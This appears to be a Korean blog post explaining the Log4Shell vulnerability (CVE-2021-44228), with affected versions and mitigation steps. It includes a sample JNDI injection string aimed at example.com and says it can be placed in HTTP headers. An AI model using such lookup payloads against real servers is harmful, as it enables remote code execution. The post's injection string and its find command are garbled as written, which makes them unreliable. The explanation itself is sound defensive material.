자바 log4j 보안 취약점 원리 및 대응 조치 방법 CVE-2021-44228

로그 포 제이(Log4j) 보안 취약점

log4j는 자바 기반 오픈소스 유틸리티 및 라이브러리로 로깅을 해주는 도구입니다.

컴퓨터 역사상 최악일지도 모르는 취약점입니다. CVSS 스코어 10점으로 가장 높은 심각도를 기록하고 있습니다.

게임 정보통신 보안 분야를 막론하고 여러 분야에서 심각한 해킹 위험이 존재합니다.

자바 언어로 개발된 마인크래프트에서 처음 확인되어 전 세계로 위험이 퍼져나가고 있습니다. 현재 이 취약점에는 log4shell "로그4셸" 이라는 별칭이 붙었습니다.

CVE(Common Vulnerability and Exposure)

CVE-2021-44228

 

Log4Shell 원리

JNDI와 LDAP을 이용합니다. Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있습니다. 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것입니다.

 

이게 문제가 되는 Log4j에 더욱 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하기 때문입니다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 합니다.

이런 문법은 로그가 기록될 때도 사용이 가능 했고, 결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있습니다.

이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있습니다.

 

결국은 이번 취약점은 JNDI 인터페이스 때문에 발생한 문제입니다.

JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스입니다.

Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스입니다.

 

영향도 버전

2.0 beta9 ~ 2.14.1 (1.x 버전은 해당사항 없음)

리눅스의 경우 아래의 명령어로 버전 조회 가능

find / name |grep log4j-core

 

 

대응 및 조치 방법

- log4j를 2.15.0 이상으로 버전업 (하지만 JAVA 8이 필요함, 2.13.0 이상의 버전일 경우 가능)

- 2.10.0 이상일 경우

  1. Java 실행 인자(Arguments) 에 시스템 속성을 추가한다. -Dlog4j2.formatMsgNoLookups=true
  2. Java 실행 계정의 환경 변수 혹은 시스템 변수로 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정한다.

- 2.7.0 이상 사용 시 log4j 설정(log4j.xml 등)에 PatternLayout 속성에 있는 %m 부분을 %m{nolookups} 으로 교체한다.

 

 

KISA Apache Log4j 2 보안 업데이트 권고

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

이 취약점을 통해 해커들은 서버를 원격으로 조종하는 효과를 얻을 수 있으므로 접근제어가 제대로 이루어지지 않은 업체에서는 더욱 조치가 시급한 취약점입니다.

댓글

Designed by JB FACTORY